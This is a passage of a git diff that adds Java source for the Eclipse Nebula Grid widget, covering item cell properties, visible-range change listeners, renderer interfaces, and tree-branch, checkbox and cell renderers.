    + */ + public boolean getCheckable(int index) { + checkWidget(); + + if (!parent.getColumn(index).getCheckable()) + return false; + + Boolean b = (Boolean) checkable.get(index); + if (b == null) { + return true; + } + return b.booleanValue(); + } + + /** + * Sets the checkable state at the given column index in the receiver. A + * checkbox which is uncheckable will not be modifiable by the user but + * still make be modified programmatically. If the column at the given index + * is not checkable then individual cell will not be checkable regardless. + * + * @param index + * the column index + * @param checked + * the new checked state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setCheckable(int index, boolean checked) { + checkWidget(); + checkable.set(index, new Boolean(checked)); + } + + /** + * Returns the tooltip for the given cell. + * + * @param index + * the column index + * @return the tooltip + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public String getToolTipText(int index) { + checkWidget(); + + handleVirtual(); + + String s = (String) tooltips.get(index); + + return s; + } + + /** + * Sets the tooltip for the given column index. + * + * @param index + * the column index + * @param tooltip + * the tooltip text + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setToolTipText(int index, String tooltip) { + checkWidget(); + tooltips.set(index, tooltip); + } + + private void init() { + ensureSize(backgrounds); + ensureSize(checks); + ensureSize(checkable); + ensureSize(fonts); + ensureSize(foregrounds); + ensureSize(grayeds); + ensureSize(images); + ensureSize(texts); + ensureSize(columnSpans); + ensureSize(rowSpans); + ensureSize(tooltips); + } + + /** + * Notifies the item that a column has been removed. + * + * @param index + * index of column removed. + */ + void columnRemoved(int index) { + removeValue(index, backgrounds); + removeValue(index, checks); + removeValue(index, checkable); + removeValue(index, fonts); + removeValue(index, foregrounds); + removeValue(index, grayeds); + removeValue(index, images); + removeValue(index, texts); + removeValue(index, columnSpans); + removeValue(index, rowSpans); + removeValue(index, tooltips); + } + + void columnAdded(int index) { + insertValue(index, backgrounds); + insertValue(index, checks); + insertValue(index, checkable); + insertValue(index, fonts); + insertValue(index, foregrounds); + insertValue(index, grayeds); + insertValue(index, images); + insertValue(index, texts); + insertValue(index, columnSpans); + insertValue(index, rowSpans); + insertValue(index, tooltips); + hasSetData = false; + } + + private void insertValue(int index, List list) { + if (index == -1) { + list.add(null); + } else { + list.add(index, null); + } + } + + private void removeValue(int index, List list) { + if (list.size() > index) { + list.remove(index); + } + } + + private void handleVirtual() { + if ((getParent().getStyle() & SWT.VIRTUAL) != 0 && !hasSetData) { + hasSetData = true; + Event event = new Event(); + event.item = this; + if (parentItem == null) { + event.index = getParent().indexOf(this); + } else { + event.index = parentItem.indexOf(this); + } + getParent().notifyListeners(SWT.SetData, event); + } + } + + /** + * Sets the initial item height for this item. + * + * @param height + * initial height. + */ + void initializeHeight(int height) { + this.height = height; + } + + /** + * Clears all properties of this item and resets values to their defaults. + * + * @param allChildren + * true if all child items should be cleared + * recursively, and false otherwise + */ + void clear(boolean allChildren) { + backgrounds.clear(); + checks.clear(); + checkable.clear(); + columnSpans.clear(); + rowSpans.clear(); + fonts.clear(); + foregrounds.clear(); + grayeds.clear(); + images.clear(); + texts.clear(); + tooltips.clear(); + + defaultForeground = null; + defaultBackground = null; + defaultFont = null; + + hasSetData = false; + headerText = null; + headerImage = null; + headerBackground = null; + headerForeground = null; + + // Recursively clear children if requested. + if (allChildren) { + for (int i = children.size() - 1; i >= 0; i--) { + ((GridItem) children.get(i)).clear(true); + } + } + + init(); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridVisibleRangeSupport.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridVisibleRangeSupport.java new file mode 100644 index 0000000..f0e9c8b --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridVisibleRangeSupport.java @@ -0,0 +1,188 @@ +package org.eclipse.nebula.widgets.grid; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.EventObject; +import java.util.Iterator; + +import org.eclipse.nebula.widgets.grid.Grid.GridVisibleRange; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * This support class adds the possibility to get informed when the visual range + * in the grid is modified. E.g. to implement clever resource management + *

    + * This support is provisional and may change + *

    + */ +public class GridVisibleRangeSupport { + private Collection rangeChangeListener; + private Grid grid; + private GridVisibleRange oldRange = new GridVisibleRange(); + + private Listener paintListener = new Listener() { + + public void handleEvent(Event event) { + calculateChange(); + } + + }; + + /** + * Listener notified when the visible range changes + */ + public interface VisibleRangeChangedListener { + /** + * Method called when range is changed + * + * @param event + * the event holding informations about the change + */ + public void rangeChanged(RangeChangedEvent event); + } + + /** + * Event informing about the change + */ + public static class RangeChangedEvent extends EventObject { + /** + * + */ + private static final long serialVersionUID = 1L; + + /** + * Rows new in the visible range + */ + public GridItem[] addedRows; + + /** + * Rows removed from the range + */ + public GridItem[] removedRows; + + /** + * Columns added to the range + */ + public GridColumn[] addedColumns; + + /** + * Columns removed from the range + */ + public GridColumn[] removedColumns; + + /** + * The current visible range + */ + public GridVisibleRange visibleRange; + + RangeChangedEvent(Grid grid, GridVisibleRange visibleRange) { + super(grid); + this.visibleRange = visibleRange; + } + + } + + private GridVisibleRangeSupport(Grid grid) { + this.grid = grid; + this.grid.setSizeOnEveryItemImageChange(true); + // FIXME Maybe better to listen to resize, ... ? + grid.addListener(SWT.Paint, paintListener); + } + + /** + * Add a listener who is informed when the range is changed + * + * @param listener + * the listener to add + */ + public void addRangeChangeListener(VisibleRangeChangedListener listener) { + if (rangeChangeListener == null) { + rangeChangeListener = new ArrayList(); + } + rangeChangeListener.add(listener); + } + + /** + * Remove the listener from the ones informed when the range is changed + * + * @param listener + */ + public void removeRangeChangeListener(VisibleRangeChangedListener listener) { + if (rangeChangeListener != null) { + rangeChangeListener.remove(listener); + if (rangeChangeListener.size() == 0) { + rangeChangeListener = null; + } + } + } + + private void calculateChange() { + // FIXME Add back + if (rangeChangeListener != null) { + GridVisibleRange range = grid.getVisibleRange(); + + ArrayList lOrigItems = new ArrayList(); + lOrigItems.addAll(Arrays.asList(oldRange.getItems())); + + ArrayList lNewItems = new ArrayList(); + lNewItems.addAll(Arrays.asList(range.getItems())); + + Iterator it = lNewItems.iterator(); + while (it.hasNext()) { + if (lOrigItems.remove(it.next())) { + it.remove(); + } + } + + ArrayList lOrigColumns = new ArrayList(); + lOrigColumns.addAll(Arrays.asList(oldRange.getColumns())); + + ArrayList lNewColumns = new ArrayList(); + lNewColumns.addAll(Arrays.asList(range.getColumns())); + + it = lNewColumns.iterator(); + while (it.hasNext()) { + if (lOrigColumns.remove(it.next())) { + it.remove(); + } + } + + if (lOrigItems.size() != 0 || lNewItems.size() != 0 + || lOrigColumns.size() != 0 || lNewColumns.size() != 0) { + RangeChangedEvent evt = new RangeChangedEvent(grid, range); + evt.addedRows = new GridItem[lNewItems.size()]; + lNewItems.toArray(evt.addedRows); + + evt.removedRows = new GridItem[lOrigItems.size()]; + lOrigItems.toArray(evt.removedRows); + + evt.addedColumns = new GridColumn[lNewColumns.size()]; + lNewColumns.toArray(evt.addedColumns); + + evt.removedColumns = new GridColumn[lOrigColumns.size()]; + lNewColumns.toArray(evt.removedColumns); + it = rangeChangeListener.iterator(); + while (it.hasNext()) { + ((VisibleRangeChangedListener) it.next()).rangeChanged(evt); + } + } + + oldRange = range; + } + } + + /** + * Create a range support for the given grid instance + * + * @param grid + * the grid instance the range support is created for + * @return the created range support + */ + public static GridVisibleRangeSupport createFor(Grid grid) { + return new GridVisibleRangeSupport(grid); + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IInternalWidget.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IInternalWidget.java new file mode 100644 index 0000000..bc622a3 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IInternalWidget.java @@ -0,0 +1,63 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * + * TODO fill in. + * + * @author chris.gross@us.ibm.com + */ +public interface IInternalWidget extends IRenderer +{ + // CSOFF: Magic Number + + // Event type constants + /** Hover State. */ + int MouseMove = SWT.MouseMove; + + /** Mouse down state. */ + int LeftMouseButtonDown = SWT.MouseDown; + + /** + * Mechanism used to notify the light weight widgets that an event occurred + * that it might be interested in. + * + * @param event Event type. + * @param point Location of event. + * @param value New value. + * @return widget handled the event. + */ + boolean notify(int event, Point point, Object value); + + /** + * Returns the hover detail object. This detail is used by the renderer to + * determine which part or piece of the rendered image is hovered over. + * + * @return string identifying which part of the image is being hovered over. + */ + String getHoverDetail(); + + /** + * Sets a string object that represents which part of the rendered image is currently under the + * mouse pointer. + * + * @param detail identifying string. + */ + void setHoverDetail(String detail); +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IRenderer.java new file mode 100644 index 0000000..54b7e71 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/IRenderer.java @@ -0,0 +1,148 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * + * Renders a single visual unit. A IRenderer implementation can have state (i.e. + * is hovered or is selected) that affects the drawing. + * + * @author chris.gross@us.ibm.com + */ +public interface IRenderer +{ + + /** + * Paints the visual representation of the given value on the given GC. The + * actual class of the value object is determined by the use of the + * implementing class. + *

    + * Implementors need to respect the bounds values that may have been + * specified. The bounds values may affect the x and y values for all + * drawing operations as well as the width and heights. Implementors may use + * a Transform to translate the coordinates of all the + * drawing operations, otherwise they will need to offset each draw. + *

    + * + * @param gc GC to paint with + * @param value the value being painted + */ + void paint(GC gc, Object value); + + /** + * Returns the size of the given value's visual representation. + * + * @param gc convenience GC for string and text extents + * @param wHint given width (or SWT.DEFAULT) + * @param hHint given height (or SWT.DEFAULT) + * @param value value to be sized + * @return the size + */ + Point computeSize(GC gc, int wHint, int hHint, Object value); + + /** + * Sets the bounds of the drawing. + * + * @param bounds Bounds. + */ + void setBounds(Rectangle bounds); + + /** + * Sets the bounds of the drawing. + * + * @param x X coordinate. + * @param y Y coordinate. + * @param width Width. + * @param height Height. + */ + void setBounds(int x, int y, int width, int height); + + /** + * Sets the location of the drawing. + * + * @param location Location. + */ + void setLocation(Point location); + + /** + * Sets the location of the drawing. + * + * @param x X. + * @param y Y. + */ + void setLocation(int x, int y); + + /** + * Sets focus state. + * + * @param focus focus state. + */ + void setFocus(boolean focus); + + /** + * Sets the hover state. + * + * @param hover Hover state. + */ + void setHover(boolean hover); + + /** + * Sets the hover state. + * + * @param mouseDown Mouse state. + */ + void setMouseDown(boolean mouseDown); + + /** + * Sets the selected state. + * + * @param selected Selection state. + */ + void setSelected(boolean selected); + + /** + * Sets the expanded state. + * + * @param expanded Expansion state. + */ + void setExpanded(boolean expanded); + + /** + * Sets the area of the drawing. + * + * @param width Width. + * @param height Height. + */ + void setSize(int width, int height); + + /** + * Sets the area of the drawing. + * + * @param size Size. + */ + void setSize(Point size); + + /** + * Sets the display. + * + * @param display Display. + */ + void setDisplay(Display display); +} \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/BranchRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/BranchRenderer.java new file mode 100644 index 0000000..84d1b0b --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/BranchRenderer.java @@ -0,0 +1,225 @@ +/******************************************************************************* + * Copyright (c) 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * Michael Houston - initial implementation + * fisherja@gmail.com - bugfix in 269563 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Renders the tree branch hierarchy for a {@link GridColumn} + * @author Michael Houston + */ +public class BranchRenderer extends AbstractRenderer { + + private static final int[] LINE_STYLE = new int[] {1,1}; + + // Line segments + /** A full-width horizontal bar */ + public static final int H_FULL = 1; + + /** A horizontal bar from the centre to the right */ + public static final int H_RIGHT = 1 << 1; + + /** A horizontal bar from the centre to the toggle */ + public static final int H_CENTRE_TOGGLE = 1 << 2; + + /** A horizontal bar from the left to the toggle */ + public static final int H_LEFT_TOGGLE = 1 << 3; + + /** A full-height vertical bar */ + public static final int V_FULL = 1 << 4; + + /** A vertical bar from the top to the middle */ + public static final int V_TOP = 1 << 5; + + /** A vertical bar from the toggle to the bottom */ + public static final int DESCENDER = 1 << 6; + + /** A vertical bar from the top to the toggle */ + public static final int ASCENDER = 1 << 7; + + // Predefined combinations + /** Indicates that a branch should not be rendered. */ + public static final int NONE = 0; + + /** Indicates that a branch should be rendered as a 'T' shape. This + * is used for normal children with following siblings */ + public static final int T = V_FULL | H_RIGHT; + + /** Indicates that a branch should be rendered as an 'L' shape. This + * is used for the last child element */ + public static final int L = V_TOP | H_RIGHT; + + /** Indicates that a branch should be rendered as a 'I' shape. This + * is used for connecting children when intermediate children are shown. */ + public static final int I = V_FULL; + + /** Indicates that the toggle decoration for an expanded parent should be drawn */ + public static final int NODE = DESCENDER; + + /** Indicates that the decoration for a leaf node should be drawn */ + public static final int LEAF = H_LEFT_TOGGLE; + + /** Indicates that the decoration for a root node should be drawn */ + public static final int ROOT = ASCENDER | DESCENDER; + + /** Indicates that the decoration for the last root node should be drawn */ + public static final int LAST_ROOT = ASCENDER; + + /** A half-width T used on roots with no children */ + public static final int SMALL_T = V_FULL | H_CENTRE_TOGGLE; + + /** A half-width L used on roots with no children */ + public static final int SMALL_L = V_TOP | H_CENTRE_TOGGLE; + + + private int indent; + private int[] branches; + private Rectangle toggleBounds; + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int hint, int hint2, Object value) { + return new Point(getBounds().width, getBounds().height); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + Rectangle bounds = getBounds(); + + int xLeft = bounds.x; + int yTop = bounds.y - 1; + + int yBottom = yTop + bounds.height; + int yMiddle = toggleBounds.y + toggleBounds.height / 2; + int yToggleBottom = toggleBounds.y + toggleBounds.height - 1; + int yToggleTop = toggleBounds.y; + + int oldStyle = gc.getLineStyle(); + Color oldForeground = gc.getForeground(); + int[] oldLineDash = gc.getLineDash(); + + gc.setForeground(getDisplay().getSystemColor( + isSelected() ? + SWT.COLOR_LIST_SELECTION_TEXT + : SWT.COLOR_WIDGET_NORMAL_SHADOW)); + + int dy = bounds.y % 2; + + // Set line style to dotted + gc.setLineDash(LINE_STYLE); + + // Adjust line positions by a few pixels to create correct effect + yToggleTop --; + yTop ++; + yToggleBottom ++; + + // Adjust full height + // If height is even, we shorten to an odd number of pixels, and start at the original y offset + if (bounds.height % 2 == 0) { + yBottom -= 1; + } + // If height is odd, we alternate based on the row offset + else { + yTop += dy; + yBottom -= dy; + } + + // Adjust ascender and descender + yToggleBottom += dy; + + if ((yToggleTop - yTop + 1) % 2 == 0) + yToggleTop -= 1; + if ((yToggleBottom - yBottom + 1) % 2 == 0) + yToggleBottom += dy == 1 ? -1 : 1; + + for (int i = 0; i < branches.length; i++) { + // Calculate offsets for this branch + int xRight = xLeft + indent; + int xMiddle = xLeft + toggleBounds.width / 2; + int xMiddleBranch = xMiddle; + int xToggleRight = xLeft + toggleBounds.width; + + int dx = 0; + xRight --; + xMiddleBranch += 2; + xToggleRight --; + + if (indent % 2 == 0) { + xRight -= 1; + } + else { + dx = xLeft % 2; + xLeft += dx; + xRight -= dx; + } + + // Render line segments + if ((branches[i] & H_FULL) == H_FULL) + gc.drawLine(xLeft, yMiddle, xRight, yMiddle); + if ((branches[i] & H_RIGHT) == H_RIGHT) + gc.drawLine(xMiddleBranch, yMiddle, xRight, yMiddle); + if ((branches[i] & H_CENTRE_TOGGLE) == H_CENTRE_TOGGLE) + gc.drawLine(xMiddleBranch, yMiddle, xToggleRight, yMiddle); + if ((branches[i] & H_LEFT_TOGGLE) == H_LEFT_TOGGLE) + gc.drawLine(xLeft, yMiddle, xToggleRight, yMiddle); + if ((branches[i] & V_FULL) == V_FULL) + gc.drawLine(xMiddle, yTop, xMiddle, yBottom); + if ((branches[i] & V_TOP) == V_TOP) + gc.drawLine(xMiddle, yTop, xMiddle, yMiddle); + if ((branches[i] & ASCENDER) == ASCENDER) + gc.drawLine(xMiddle, yTop, xMiddle, yToggleTop); + if ((branches[i] & DESCENDER) == DESCENDER) + gc.drawLine(xMiddle, yToggleBottom, xMiddle, yBottom); + + xLeft += indent - dx; + } + + gc.setLineDash(oldLineDash); + gc.setLineStyle(oldStyle); + gc.setForeground(oldForeground); + } + + /** + * Sets the branches that will be used. The values are taken from the constants in this class such as + * I, L, T, NODE, LEAF and NONE, which represent the branch type to be used for each level. + * @param branches an array of branch types + */ + public void setBranches(int[] branches) { + this.branches = branches; + } + + /** + * Sets the indent used for rendering the tree branches + * @param toggleIndent the indent used for the tree + */ + public void setIndent(int toggleIndent) { + this.indent = toggleIndent; + } + + /** + * Sets bounds of the toggle control. This is used to position the downwards branches + * @param toggleBounds the bounds of the toggle control + */ + public void setToggleBounds(Rectangle toggleBounds) { + this.toggleBounds = toggleBounds; + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/CheckBoxRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/CheckBoxRenderer.java new file mode 100644 index 0000000..1999769 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/CheckBoxRenderer.java @@ -0,0 +1,121 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * A checkbox renderer. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class CheckBoxRenderer extends AbstractRenderer +{ + + private boolean checked = false; + + private boolean grayed = false; + + /** + * + */ + public CheckBoxRenderer() + { + super(); + this.setSize(13, 13); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + + if (isGrayed()) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + else + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_BACKGROUND)); + } + + gc.fillRectangle(getBounds()); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + gc.drawRectangle(getBounds().x, getBounds().y, getBounds().width - 1, + getBounds().height - 1); + gc.drawRectangle(getBounds().x + 1, getBounds().y + 1, getBounds().width - 3, + getBounds().height - 3); + + if (isGrayed()) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + } + + if (isChecked()) + { + + gc.drawLine(getBounds().x + 3, getBounds().y + 5, getBounds().x + 6, getBounds().y + 8); + gc.drawLine(getBounds().x + 3, getBounds().y + 6, getBounds().x + 5, getBounds().y + 8); + gc.drawLine(getBounds().x + 3, getBounds().y + 7, getBounds().x + 5, getBounds().y + 9); + gc.drawLine(getBounds().x + 9, getBounds().y + 3, getBounds().x + 6, getBounds().y + 6); + gc.drawLine(getBounds().x + 9, getBounds().y + 4, getBounds().x + 6, getBounds().y + 7); + gc.drawLine(getBounds().x + 9, getBounds().y + 5, getBounds().x + 7, getBounds().y + 7); + + } + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return getSize(); + } + + /** + * @return Returns the checked. + */ + public boolean isChecked() + { + return checked; + } + + /** + * @param checked The checked to set. + */ + public void setChecked(boolean checked) + { + this.checked = checked; + } + + /** + * @return Returns the grayed. + */ + public boolean isGrayed() + { + return grayed; + } + + /** + * @param grayed The grayed to set. + */ + public void setGrayed(boolean grayed) + { + this.grayed = grayed; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultBottomLeftRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultBottomLeftRenderer.java new file mode 100644 index 0000000..4d7c475 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultBottomLeftRenderer.java @@ -0,0 +1,52 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * The renderer for the empty top left area when both column and row headers are + * visible. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultBottomLeftRenderer extends AbstractRenderer { + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + return new Point(wHint, hHint); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) { + gc.setBackground(getDisplay().getSystemColor( + SWT.COLOR_WIDGET_BACKGROUND)); + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, + getBounds().height + 1); + + gc.setForeground(getDisplay().getSystemColor( + SWT.COLOR_WIDGET_DARK_SHADOW)); + + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + + getBounds().width, getBounds().y); + + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultCellRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultCellRenderer.java new file mode 100644 index 0000000..c760bad --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultCellRenderer.java @@ -0,0 +1,696 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + * Claes Rosell - rowspan in bug 272384 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridCellRenderer; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.nebula.widgets.grid.IInternalWidget; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; + +/** + * The renderer for a cell in Grid. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultCellRenderer extends GridCellRenderer +{ + + int leftMargin = 4; + + int rightMargin = 4; + + int topMargin = 0; + + int bottomMargin = 0; + + int textTopMargin = 1; + + int textBottomMargin = 2; + + private int insideMargin = 3; + + int treeIndent = 20; + + private ToggleRenderer toggleRenderer; + + private BranchRenderer branchRenderer; + + private CheckBoxRenderer checkRenderer; + + private TextLayout textLayout; + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridItem item = (GridItem)value; + + gc.setFont(item.getFont(getColumn())); + + boolean drawAsSelected = isSelected(); + + boolean drawBackground = true; + + if (isCellSelected()) + { + drawAsSelected = true;//(!isCellFocus()); + } + + if (drawAsSelected) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } + else + { + if (item.getParent().isEnabled()) + { + Color back = item.getBackground(getColumn()); + + if (back != null) + { + gc.setBackground(back); + } + else + { + drawBackground = false; + } + } + else + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + gc.setForeground(item.getForeground(getColumn())); + } + + if (drawBackground) + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, + getBounds().height); + + + int x = leftMargin; + + if (isTree()) + { + boolean renderBranches = item.getParent().getTreeLinesVisible(); + if(renderBranches) { + branchRenderer.setBranches(getBranches(item)); + branchRenderer.setIndent(treeIndent); + branchRenderer.setBounds( + getBounds().x + x, getBounds().y, + getToggleIndent(item), getBounds().height + 1); // Take into account border + } + + x += getToggleIndent(item); + + toggleRenderer.setExpanded(item.isExpanded()); + + toggleRenderer.setHover(getHoverDetail().equals("toggle")); + + toggleRenderer.setLocation(getBounds().x + x, (getBounds().height - toggleRenderer + .getBounds().height) + / 2 + getBounds().y); + if (item.hasChildren()) + toggleRenderer.paint(gc, null); + + if (renderBranches) { + branchRenderer.setToggleBounds(toggleRenderer.getBounds()); + branchRenderer.paint(gc, null); + } + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) + { + checkRenderer.setChecked(item.getChecked(getColumn())); + checkRenderer.setGrayed(item.getGrayed(getColumn())); + if (!item.getParent().isEnabled()) + { + checkRenderer.setGrayed(true); + } + checkRenderer.setHover(getHoverDetail().equals("check")); + + if (isCenteredCheckBoxOnly(item)) + { + //Special logic if this column only has a checkbox and is centered + checkRenderer.setBounds(getBounds().x + ((getBounds().width - checkRenderer.getBounds().width) /2), + (getBounds().height - checkRenderer.getBounds().height) + / 2 + getBounds().y, checkRenderer + .getBounds().width, checkRenderer.getBounds().height); + } + else + { + checkRenderer.setBounds(getBounds().x + x, (getBounds().height - checkRenderer + .getBounds().height) + / 2 + getBounds().y, checkRenderer + .getBounds().width, checkRenderer.getBounds().height); + + x += checkRenderer.getBounds().width + insideMargin; + } + + checkRenderer.paint(gc, null); + } + + Image image = item.getImage(getColumn()); + if (image != null) + { + int y = getBounds().y; + + y += (getBounds().height - image.getBounds().height)/2; + + gc.drawImage(image, getBounds().x + x, y); + + x += image.getBounds().width + insideMargin; + } + + int width = getBounds().width - x - rightMargin; + + if (drawAsSelected) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } + else + { + gc.setForeground(item.getForeground(getColumn())); + } + + if (!isWordWrap()) + { + String text = TextUtils.getShortString(gc, item.getText(getColumn()), width); + + if (getAlignment() == SWT.RIGHT) + { + int len = gc.stringExtent(text).x; + if (len < width) + { + x += width - len; + } + } + else if (getAlignment() == SWT.CENTER) + { + int len = gc.stringExtent(text).x; + if (len < 